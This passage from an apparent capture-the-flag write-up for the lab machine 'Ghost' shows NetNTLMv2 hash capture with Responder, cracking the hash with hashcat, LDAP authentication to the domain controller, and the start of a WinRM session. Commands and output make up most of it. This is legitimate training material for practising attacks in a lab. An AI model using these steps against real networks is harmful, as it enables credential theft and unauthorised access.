    </span><span class="n">Responder</span><span class="w"> </span><span class="nx">NIC</span><span class="w">              </span><span class="p">[</span><span class="n">tun0</span><span class="p">]</span><span class="w">
    </span><span class="n">Responder</span><span class="w"> </span><span class="nx">IP</span><span class="w">               </span><span class="p">[</span><span class="mf">10.10</span><span class="o">.</span><span class="nf">14</span><span class="o">.</span><span class="nf">3</span><span class="p">]</span><span class="w">
    </span><span class="n">Responder</span><span class="w"> </span><span class="nx">IPv6</span><span class="w">             </span><span class="p">[</span><span class="n">fe80</span><span class="p">::</span><span class="mi">946</span><span class="n">b:9999:c12c:e127</span><span class="p">]</span><span class="w">
    </span><span class="n">Challenge</span><span class="w"> </span><span class="n">set</span><span class="w">              </span><span class="p">[</span><span class="n">random</span><span class="p">]</span><span class="w">
    </span><span class="n">Don</span><span class="s1">'t Respond To Names     ['</span><span class="n">ISATAP</span><span class="s1">', '</span><span class="n">ISATAP.LOCAL</span><span class="s1">']
    Don'</span><span class="n">t</span><span class="w"> </span><span class="nx">Respond</span><span class="w"> </span><span class="nx">To</span><span class="w"> </span><span class="nx">MDNS</span><span class="w"> </span><span class="nx">TLD</span><span class="w">  </span><span class="p">[</span><span class="s1">'_DOSVC'</span><span class="p">]</span><span class="w">
    </span><span class="n">TTL</span><span class="w"> </span><span class="n">for</span><span class="w"> </span><span class="n">poisoned</span><span class="w"> </span><span class="n">response</span><span class="w">  </span><span class="p">[</span><span class="n">default</span><span class="p">]</span><span class="w">

</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Current</span><span class="w"> </span><span class="n">Session</span><span class="w"> </span><span class="n">Variables</span><span class="p">:</span><span class="w">
    </span><span class="n">Responder</span><span class="w"> </span><span class="n">Machine</span><span class="w"> </span><span class="n">Name</span><span class="w">     </span><span class="p">[</span><span class="n">WIN</span><span class="nt">-IHWL6RN2MY3</span><span class="p">]</span><span class="w">
    </span><span class="n">Responder</span><span class="w"> </span><span class="n">Domain</span><span class="w"> </span><span class="n">Name</span><span class="w">      </span><span class="p">[</span><span class="n">Z2AZ.LOCAL</span><span class="p">]</span><span class="w">
    </span><span class="n">Responder</span><span class="w"> </span><span class="n">DCE</span><span class="nt">-RPC</span><span class="w"> </span><span class="n">Port</span><span class="w">     </span><span class="p">[</span><span class="mi">48494</span><span class="p">]</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Version</span><span class="p">:</span><span class="w"> </span><span class="n">Responder</span><span class="w"> </span><span class="mf">3.2</span><span class="o">.</span><span class="nf">2</span><span class="o">.</span><span class="nf">0</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Author</span><span class="p">:</span><span class="w"> </span><span class="n">Laurent</span><span class="w"> </span><span class="n">Gaffie</span><span class="p">,</span><span class="w"> </span><span class="err">&lt;</span><span class="n">lgaffie</span><span class="err">@</span><span class="n">secorizon.com</span><span class="err">&gt;</span><span class="w">

</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Listening</span><span class="w"> </span><span class="n">for</span><span class="w"> </span><span class="n">events.</span><span class="o">..</span><span class="w">

</span><span class="p">[</span><span class="n">SNMP</span><span class="p">]</span><span class="w"> </span><span class="n">Warning</span><span class="p">:</span><span class="w"> </span><span class="n">pyasn1</span><span class="w"> </span><span class="n">not</span><span class="w"> </span><span class="n">installed</span><span class="p">,</span><span class="w"> </span><span class="n">SNMP</span><span class="w"> </span><span class="n">server</span><span class="w"> </span><span class="n">disabled</span><span class="w">
</span><span class="p">[</span><span class="o">!</span><span class="p">]</span><span class="w"> </span><span class="n">Error</span><span class="w"> </span><span class="n">starting</span><span class="w"> </span><span class="n">SSL</span><span class="w"> </span><span class="n">server</span><span class="w"> </span><span class="n">on</span><span class="w"> </span><span class="n">port</span><span class="w"> </span><span class="mi">5986</span><span class="p">,</span><span class="w"> </span><span class="n">check</span><span class="w"> </span><span class="n">permissions</span><span class="w"> </span><span class="n">or</span><span class="w"> </span><span class="n">other</span><span class="w"> </span><span class="n">servers</span><span class="w"> </span><span class="n">running.</span><span class="w">
</span><span class="p">[</span><span class="o">!</span><span class="p">]</span><span class="w"> </span><span class="n">Error</span><span class="w"> </span><span class="n">starting</span><span class="w"> </span><span class="n">SSL</span><span class="w"> </span><span class="n">server</span><span class="w"> </span><span class="n">on</span><span class="w"> </span><span class="n">port</span><span class="w"> </span><span class="mi">443</span><span class="p">,</span><span class="w"> </span><span class="n">check</span><span class="w"> </span><span class="n">permissions</span><span class="w"> </span><span class="n">or</span><span class="w"> </span><span class="n">other</span><span class="w"> </span><span class="n">servers</span><span class="w"> </span><span class="n">running.</span><span class="w">
</span><span class="p">[</span><span class="o">!</span><span class="p">]</span><span class="w"> </span><span class="n">Error</span><span class="w"> </span><span class="n">starting</span><span class="w"> </span><span class="n">SSL</span><span class="w"> </span><span class="n">server</span><span class="w"> </span><span class="n">on</span><span class="w"> </span><span class="n">port</span><span class="w"> </span><span class="mi">636</span><span class="p">,</span><span class="w"> </span><span class="n">check</span><span class="w"> </span><span class="n">permissions</span><span class="w"> </span><span class="n">or</span><span class="w"> </span><span class="n">other</span><span class="w"> </span><span class="n">servers</span><span class="w"> </span><span class="n">running.</span><span class="w">
</span><span class="p">[</span><span class="n">HTTP</span><span class="p">]</span><span class="w"> </span><span class="n">Sending</span><span class="w"> </span><span class="n">NTLM</span><span class="w"> </span><span class="n">authentication</span><span class="w"> </span><span class="n">request</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="mf">10.129</span><span class="o">.</span><span class="nf">231</span><span class="o">.</span><span class="nf">105</span><span class="w">
</span><span class="p">[</span><span class="n">HTTP</span><span class="p">]</span><span class="w"> </span><span class="n">GET</span><span class="w"> </span><span class="n">request</span><span class="w"> </span><span class="n">from</span><span class="p">:</span><span class="w"> </span><span class="p">::</span><span class="n">ffff</span><span class="p">:</span><span class="mf">10.129</span><span class="o">.</span><span class="nf">231</span><span class="o">.</span><span class="nf">105</span><span class="w">  </span><span class="n">URL</span><span class="p">:</span><span class="w"> </span><span class="n">/</span><span class="w"> 
</span><span class="p">[</span><span class="n">HTTP</span><span class="p">]</span><span class="w"> </span><span class="n">NTLMv2</span><span class="w"> </span><span class="n">Client</span><span class="w">   </span><span class="p">:</span><span class="w"> </span><span class="mf">10.129</span><span class="o">.</span><span class="nf">231</span><span class="o">.</span><span class="nf">105</span><span class="w">
</span><span class="p">[</span><span class="n">HTTP</span><span class="p">]</span><span class="w"> </span><span class="n">NTLMv2</span><span class="w"> </span><span class="n">Username</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="n">ghost\justin.bradley</span><span class="w">
</span><span class="p">[</span><span class="n">HTTP</span><span class="p">]</span><span class="w"> </span><span class="nx">NTLMv2</span><span class="w"> </span><span class="nx">Hash</span><span class="w">     </span><span class="p">:</span><span class="w"> </span><span class="nx">justin.bradley::ghost:3b259d01621065a4:6C3F56DA560AA536C46866B47B5B1114:01010000000000000D02D</span><span class="p">[</span><span class="n">REDACTED</span><span class="p">]</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We catch an <code class="language-plaintext highlighter-rouge">ntlmv2</code> hash for <code class="language-plaintext highlighter-rouge">justin.bradley</code> we can attempt to crack it using hashcat’s <code class="language-plaintext highlighter-rouge">5600</code> mode.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">hashcat</span><span class="w"> </span><span class="nt">-m</span><span class="w"> </span><span class="nx">5600</span><span class="w"> </span><span class="o">.</span><span class="nx">/justin.bradley.pem</span><span class="w"> </span><span class="nx">/usr/share/seclists/rockyou.txt</span><span class="w"> </span><span class="nt">-w</span><span class="w"> </span><span class="nx">3</span><span class="w">
</span><span class="n">hashcat</span><span class="w"> </span><span class="p">(</span><span class="n">v6.2.6</span><span class="p">)</span><span class="w"> </span><span class="n">starting</span><span class="w">

</span><span class="n">OpenCL</span><span class="w"> </span><span class="nx">API</span><span class="w"> </span><span class="p">(</span><span class="n">OpenCL</span><span class="w"> </span><span class="nx">3.0</span><span class="w"> </span><span class="nx">PoCL</span><span class="w"> </span><span class="nx">6.0</span><span class="o">+</span><span class="nx">debian</span><span class="w">  </span><span class="nx">Linux</span><span class="p">,</span><span class="w"> </span><span class="nx">None</span><span class="o">+</span><span class="nx">Asserts</span><span class="p">,</span><span class="w"> </span><span class="nx">RELOC</span><span class="p">,</span><span class="w"> </span><span class="nx">SPIR-V</span><span class="p">,</span><span class="w"> </span><span class="nx">LLVM</span><span class="w"> </span><span class="nx">18.1.8</span><span class="p">,</span><span class="w"> </span><span class="nx">SLEEF</span><span class="p">,</span><span class="w"> </span><span class="nx">DISTRO</span><span class="p">,</span><span class="w"> </span><span class="nx">POCL_DEBUG</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">Platform</span><span class="w"> </span><span class="c">#1 [The pocl project]</span><span class="w">
</span><span class="o">====================================================================================================================================================</span><span class="w">
</span><span class="o">*</span><span class="w"> </span><span class="n">Device</span><span class="w"> </span><span class="c">#1: cpu-haswell-AMD Ryzen 7 5800H with Radeon Graphics, 2917/5899 MB (1024 MB allocatable), 4MCU</span><span class="w">

</span><span class="n">Minimum</span><span class="w"> </span><span class="nx">password</span><span class="w"> </span><span class="nx">length</span><span class="w"> </span><span class="nx">supported</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">kernel:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span><span class="n">Maximum</span><span class="w"> </span><span class="nx">password</span><span class="w"> </span><span class="nx">length</span><span class="w"> </span><span class="nx">supported</span><span class="w"> </span><span class="nx">by</span><span class="w"> </span><span class="nx">kernel:</span><span class="w"> </span><span class="nx">256</span><span class="w">

</span><span class="n">Hashes:</span><span class="w"> </span><span class="nx">1</span><span class="w"> </span><span class="nx">digests</span><span class="p">;</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">unique</span><span class="w"> </span><span class="nx">digests</span><span class="p">,</span><span class="w"> </span><span class="nx">1</span><span class="w"> </span><span class="nx">unique</span><span class="w"> </span><span class="nx">salts</span><span class="w">
</span><span class="n">Bitmaps:</span><span class="w"> </span><span class="nx">16</span><span class="w"> </span><span class="nx">bits</span><span class="p">,</span><span class="w"> </span><span class="nx">65536</span><span class="w"> </span><span class="nx">entries</span><span class="p">,</span><span class="w"> </span><span class="nx">0x0000ffff</span><span class="w"> </span><span class="nx">mask</span><span class="p">,</span><span class="w"> </span><span class="nx">262144</span><span class="w"> </span><span class="nx">bytes</span><span class="p">,</span><span class="w"> </span><span class="nx">5/13</span><span class="w"> </span><span class="nx">rotates</span><span class="w">
</span><span class="n">Rules:</span><span class="w"> </span><span class="nx">1</span><span class="w">

</span><span class="n">Optimizers</span><span class="w"> </span><span class="nx">applied:</span><span class="w">
</span><span class="o">*</span><span class="w"> </span><span class="n">Zero-Byte</span><span class="w">
</span><span class="o">*</span><span class="w"> </span><span class="nx">Not-Iterated</span><span class="w">
</span><span class="o">*</span><span class="w"> </span><span class="n">Single-Hash</span><span class="w">
</span><span class="o">*</span><span class="w"> </span><span class="nx">Single-Salt</span><span class="w">

</span><span class="n">ATTENTION</span><span class="o">!</span><span class="w"> </span><span class="nx">Pure</span><span class="w"> </span><span class="p">(</span><span class="n">unoptimized</span><span class="p">)</span><span class="w"> </span><span class="n">backend</span><span class="w"> </span><span class="nx">kernels</span><span class="w"> </span><span class="nx">selected.</span><span class="w">
</span><span class="n">Pure</span><span class="w"> </span><span class="nx">kernels</span><span class="w"> </span><span class="nx">can</span><span class="w"> </span><span class="nx">crack</span><span class="w"> </span><span class="nx">longer</span><span class="w"> </span><span class="nx">passwords</span><span class="p">,</span><span class="w"> </span><span class="nx">but</span><span class="w"> </span><span class="nx">drastically</span><span class="w"> </span><span class="nx">reduce</span><span class="w"> </span><span class="nx">performance.</span><span class="w">
</span><span class="kr">If</span><span class="w"> </span><span class="n">you</span><span class="w"> </span><span class="nx">want</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">switch</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">optimized</span><span class="w"> </span><span class="nx">kernels</span><span class="p">,</span><span class="w"> </span><span class="nx">append</span><span class="w"> </span><span class="nt">-O</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">your</span><span class="w"> </span><span class="nx">commandline.</span><span class="w">
</span><span class="n">See</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">above</span><span class="w"> </span><span class="nx">message</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">find</span><span class="w"> </span><span class="nx">out</span><span class="w"> </span><span class="nx">about</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">exact</span><span class="w"> </span><span class="nx">limits.</span><span class="w">

</span><span class="n">Watchdog:</span><span class="w"> </span><span class="nx">Temperature</span><span class="w"> </span><span class="nx">abort</span><span class="w"> </span><span class="nx">trigger</span><span class="w"> </span><span class="nx">set</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">90c</span><span class="w">

</span><span class="n">Host</span><span class="w"> </span><span class="nx">memory</span><span class="w"> </span><span class="nx">required</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">this</span><span class="w"> </span><span class="nx">attack:</span><span class="w"> </span><span class="nx">1</span><span class="w"> </span><span class="nx">MB</span><span class="w">

</span><span class="n">Dictionary</span><span class="w"> </span><span class="nx">cache</span><span class="w"> </span><span class="nx">hit:</span><span class="w">
</span><span class="o">*</span><span class="w"> </span><span class="n">Filename..:</span><span class="w"> </span><span class="nx">/usr/share/seclists/rockyou.txt</span><span class="w">
</span><span class="o">*</span><span class="w"> </span><span class="n">Passwords.:</span><span class="w"> </span><span class="nx">14344384</span><span class="w">
</span><span class="o">*</span><span class="w"> </span><span class="n">Bytes.....:</span><span class="w"> </span><span class="nx">139921497</span><span class="w">
</span><span class="o">*</span><span class="w"> </span><span class="n">Keyspace..:</span><span class="w"> </span><span class="nx">14344384</span><span class="w">

</span><span class="n">Cracking</span><span class="w"> </span><span class="nx">performance</span><span class="w"> </span><span class="nx">lower</span><span class="w"> </span><span class="nx">than</span><span class="w"> </span><span class="nx">expected</span><span class="nf">?</span><span class="w">                 

</span><span class="o">*</span><span class="w"> </span><span class="n">Append</span><span class="w"> </span><span class="nt">-O</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">commandline.</span><span class="w">
  </span><span class="n">This</span><span class="w"> </span><span class="nx">lowers</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">maximum</span><span class="w"> </span><span class="nx">supported</span><span class="w"> </span><span class="nx">password/salt</span><span class="w"> </span><span class="nx">length</span><span class="w"> </span><span class="p">(</span><span class="n">usually</span><span class="w"> </span><span class="nx">down</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">32</span><span class="p">)</span><span class="o">.</span><span class="w">

</span><span class="o">*</span><span class="w"> </span><span class="n">Append</span><span class="w"> </span><span class="nt">-S</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">commandline.</span><span class="w">
  </span><span class="n">This</span><span class="w"> </span><span class="nx">has</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">drastic</span><span class="w"> </span><span class="nx">speed</span><span class="w"> </span><span class="nx">impact</span><span class="w"> </span><span class="nx">but</span><span class="w"> </span><span class="nx">can</span><span class="w"> </span><span class="nx">be</span><span class="w"> </span><span class="nx">better</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">specific</span><span class="w"> </span><span class="nx">attacks.</span><span class="w">
  </span><span class="n">Typical</span><span class="w"> </span><span class="nx">scenarios</span><span class="w"> </span><span class="nx">are</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">small</span><span class="w"> </span><span class="nx">wordlist</span><span class="w"> </span><span class="nx">but</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">large</span><span class="w"> </span><span class="nx">ruleset.</span><span class="w">

</span><span class="o">*</span><span class="w"> </span><span class="n">Update</span><span class="w"> </span><span class="nx">your</span><span class="w"> </span><span class="nx">backend</span><span class="w"> </span><span class="nx">API</span><span class="w"> </span><span class="nx">runtime</span><span class="w"> </span><span class="nx">/</span><span class="w"> </span><span class="nx">driver</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">right</span><span class="w"> </span><span class="nx">way:</span><span class="w">
  </span><span class="n">https://hashcat.net/faq/wrongdriver</span><span class="w">

</span><span class="o">*</span><span class="w"> </span><span class="n">Create</span><span class="w"> </span><span class="nx">more</span><span class="w"> </span><span class="nx">work</span><span class="w"> </span><span class="nx">items</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">make</span><span class="w"> </span><span class="nx">use</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">your</span><span class="w"> </span><span class="nx">parallelization</span><span class="w"> </span><span class="nx">power:</span><span class="w">
  </span><span class="n">https://hashcat.net/faq/morework</span><span class="w">

</span><span class="n">JUSTIN.BRADLEY::ghost:3b259d01621065a4:6c3f56da560aa536c46866b47b5b1114:01010000000000000d02d5fb1f4cdd01</span><span class="p">[</span><span class="n">REDACTED</span><span class="p">]:[</span><span class="n">REDACTED</span><span class="p">]</span><span class="w">
                                                          
</span><span class="n">Session..........:</span><span class="w"> </span><span class="nx">hashcat</span><span class="w">
</span><span class="n">Status...........:</span><span class="w"> </span><span class="nx">Cracked</span><span class="w">
</span><span class="n">Hash.Mode........:</span><span class="w"> </span><span class="nx">5600</span><span class="w"> </span><span class="p">(</span><span class="n">NetNTLMv2</span><span class="p">)</span><span class="w">
</span><span class="n">Hash.Target......:</span><span class="w"> </span><span class="nx">JUSTIN.BRADLEY::ghost:3b259d01621065a4:6c3f56da560a...000000</span><span class="w">
</span><span class="n">Time.Started.....:</span><span class="w"> </span><span class="nx">Thu</span><span class="w"> </span><span class="nx">Sep</span><span class="w"> </span><span class="nx">24</span><span class="w"> </span><span class="nx">22:28:29</span><span class="w"> </span><span class="nx">2026</span><span class="w"> </span><span class="p">(</span><span class="mi">15</span><span class="w"> </span><span class="n">secs</span><span class="p">)</span><span class="w">
</span><span class="n">Time.Estimated...:</span><span class="w"> </span><span class="nx">Thu</span><span class="w"> </span><span class="nx">Sep</span><span class="w"> </span><span class="nx">24</span><span class="w"> </span><span class="nx">22:28:44</span><span class="w"> </span><span class="nx">2026</span><span class="w"> </span><span class="p">(</span><span class="mi">0</span><span class="w"> </span><span class="n">secs</span><span class="p">)</span><span class="w">
</span><span class="n">Kernel.Feature...:</span><span class="w"> </span><span class="nx">Pure</span><span class="w"> </span><span class="nx">Kernel</span><span class="w">
</span><span class="n">Guess.Base.......:</span><span class="w"> </span><span class="nx">File</span><span class="w"> </span><span class="p">(</span><span class="n">/usr/share/seclists/rockyou.txt</span><span class="p">)</span><span class="w">
</span><span class="n">Guess.Queue......:</span><span class="w"> </span><span class="nx">1/1</span><span class="w"> </span><span class="p">(</span><span class="mf">100.00</span><span class="o">%</span><span class="p">)</span><span class="w">
</span><span class="n">Speed.</span><span class="c">#1.........:   658.8 kH/s (1.02ms) @ Accel:512 Loops:1 Thr:1 Vec:8</span><span class="w">
</span><span class="n">Recovered........:</span><span class="w"> </span><span class="nx">1/1</span><span class="w"> </span><span class="p">(</span><span class="mf">100.00</span><span class="o">%</span><span class="p">)</span><span class="w"> </span><span class="n">Digests</span><span class="w"> </span><span class="p">(</span><span class="n">total</span><span class="p">),</span><span class="w"> </span><span class="mi">1</span><span class="n">/1</span><span class="w"> </span><span class="p">(</span><span class="mf">100.00</span><span class="o">%</span><span class="p">)</span><span class="w"> </span><span class="n">Digests</span><span class="w"> </span><span class="p">(</span><span class="n">new</span><span class="p">)</span><span class="w">
</span><span class="n">Progress.........:</span><span class="w"> </span><span class="nx">10711040/14344384</span><span class="w"> </span><span class="p">(</span><span class="mf">74.67</span><span class="o">%</span><span class="p">)</span><span class="w">
</span><span class="n">Rejected.........:</span><span class="w"> </span><span class="nx">0/10711040</span><span class="w"> </span><span class="p">(</span><span class="mf">0.00</span><span class="o">%</span><span class="p">)</span><span class="w">
</span><span class="n">Restore.Point....:</span><span class="w"> </span><span class="nx">10708992/14344384</span><span class="w"> </span><span class="p">(</span><span class="mf">74.66</span><span class="o">%</span><span class="p">)</span><span class="w">
</span><span class="n">Restore.Sub.</span><span class="c">#1...: Salt:0 Amplifier:0-1 Iteration:0-1</span><span class="w">
</span><span class="n">Candidate.Engine.:</span><span class="w"> </span><span class="nx">Device</span><span class="w"> </span><span class="nx">Generator</span><span class="w">
</span><span class="n">Candidates.</span><span class="c">#1....: R3010K -&gt; Quelon</span><span class="w">
</span><span class="n">Hardware.Mon.</span><span class="c">#1..: Util: 37%</span><span class="w">

</span><span class="n">Started:</span><span class="w"> </span><span class="nx">Thu</span><span class="w"> </span><span class="nx">Sep</span><span class="w"> </span><span class="nx">24</span><span class="w"> </span><span class="nx">22:28:27</span><span class="w"> </span><span class="nx">2026</span><span class="w">
</span><span class="n">Stopped:</span><span class="w"> </span><span class="nx">Thu</span><span class="w"> </span><span class="nx">Sep</span><span class="w"> </span><span class="nx">24</span><span class="w"> </span><span class="nx">22:28:46</span><span class="w"> </span><span class="nx">2026</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We get a successful crack, let’s authenticate.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">nxc</span><span class="w"> </span><span class="nx">ldap</span><span class="w"> </span><span class="nx">dc01.ghost.htb</span><span class="w"> </span><span class="nt">-u</span><span class="w"> </span><span class="s1">'justin.bradley'</span><span class="w"> </span><span class="nt">-p</span><span class="w"> </span><span class="nv">$PASS</span><span class="w"> </span><span class="nt">-M</span><span class="w"> </span><span class="nx">whoami</span><span class="w">             
</span><span class="n">LDAP</span><span class="w">        </span><span class="nx">10.129.231.105</span><span class="w">  </span><span class="nx">389</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="nx">Windows</span><span class="w"> </span><span class="nx">Server</span><span class="w"> </span><span class="nx">2022</span><span class="w"> </span><span class="nx">Build</span><span class="w"> </span><span class="nx">20348</span><span class="w"> </span><span class="p">(</span><span class="n">name:DC01</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">domain:ghost.htb</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">signing:None</span><span class="p">)</span><span class="w"> </span><span class="p">(</span><span class="n">channel</span><span class="w"> </span><span class="nx">binding:Never</span><span class="p">)</span><span class="w"> 
</span><span class="n">LDAP</span><span class="w">        </span><span class="nx">10.129.231.105</span><span class="w">  </span><span class="nx">389</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="nx">ghost.htb\justin.bradley:</span><span class="p">[</span><span class="n">REDACTED</span><span class="p">]</span><span class="w">
</span><span class="n">WHOAMI</span><span class="w">      </span><span class="nx">10.129.231.105</span><span class="w">  </span><span class="nx">389</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="nx">Name:</span><span class="w"> </span><span class="nx">Justin</span><span class="w"> </span><span class="nx">Bradley</span><span class="w">
</span><span class="n">WHOAMI</span><span class="w">      </span><span class="nx">10.129.231.105</span><span class="w">  </span><span class="nx">389</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="nx">sAMAccountName:</span><span class="w"> </span><span class="nx">justin.bradley</span><span class="w">
</span><span class="n">WHOAMI</span><span class="w">      </span><span class="nx">10.129.231.105</span><span class="w">  </span><span class="nx">389</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="nx">Enabled:</span><span class="w"> </span><span class="nx">Yes</span><span class="w">
</span><span class="n">WHOAMI</span><span class="w">      </span><span class="nx">10.129.231.105</span><span class="w">  </span><span class="nx">389</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="nx">Password</span><span class="w"> </span><span class="nx">Never</span><span class="w"> </span><span class="nx">Expires:</span><span class="w"> </span><span class="nx">Yes</span><span class="w">
</span><span class="n">WHOAMI</span><span class="w">      </span><span class="nx">10.129.231.105</span><span class="w">  </span><span class="nx">389</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="nx">Last</span><span class="w"> </span><span class="nx">logon:</span><span class="w"> </span><span class="nx">2026-09-24</span><span class="w"> </span><span class="nx">12:25:33</span><span class="w"> </span><span class="nx">UTC</span><span class="w">
</span><span class="n">WHOAMI</span><span class="w">      </span><span class="nx">10.129.231.105</span><span class="w">  </span><span class="nx">389</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="nx">Password</span><span class="w"> </span><span class="nx">Last</span><span class="w"> </span><span class="nx">Set:</span><span class="w"> </span><span class="nx">2024-02-01</span><span class="w"> </span><span class="nx">22:48:11</span><span class="w"> </span><span class="nx">UTC</span><span class="w">
</span><span class="n">WHOAMI</span><span class="w">      </span><span class="nx">10.129.231.105</span><span class="w">  </span><span class="nx">389</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="nx">Bad</span><span class="w"> </span><span class="nx">Password</span><span class="w"> </span><span class="nx">Count:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span><span class="n">WHOAMI</span><span class="w">      </span><span class="nx">10.129.231.105</span><span class="w">  </span><span class="nx">389</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="nx">Distinguished</span><span class="w"> </span><span class="nx">Name:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">Justin</span><span class="w"> </span><span class="nx">Bradley</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">Users</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">WHOAMI</span><span class="w">      </span><span class="nx">10.129.231.105</span><span class="w">  </span><span class="nx">389</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="nx">Member</span><span class="w"> </span><span class="nx">of:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">IT</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">Users</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">WHOAMI</span><span class="w">      </span><span class="nx">10.129.231.105</span><span class="w">  </span><span class="nx">389</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="nx">Member</span><span class="w"> </span><span class="nx">of:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">Remote</span><span class="w"> </span><span class="nx">Management</span><span class="w"> </span><span class="nx">Users</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">Builtin</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">ghost</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">WHOAMI</span><span class="w">      </span><span class="nx">10.129.231.105</span><span class="w">  </span><span class="nx">389</span><span class="w">    </span><span class="nx">DC01</span><span class="w">             </span><span class="nx">User</span><span class="w"> </span><span class="nx">SID:</span><span class="w"> </span><span class="nx">S-1-5-21-4084500788-938703357-3654145966-3607</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Since we’re a member of <code class="language-plaintext highlighter-rouge">Remote Management Users</code> we’re able to <code class="language-plaintext highlighter-rouge">winrm</code></p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">/home/w1ld/ALPHA/ghost</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">evil-winrmexec</span><span class="w"> </span><span class="nt">-k</span><span class="w"> </span><span class="nx">dc01.ghost.htb</span><span class="w">
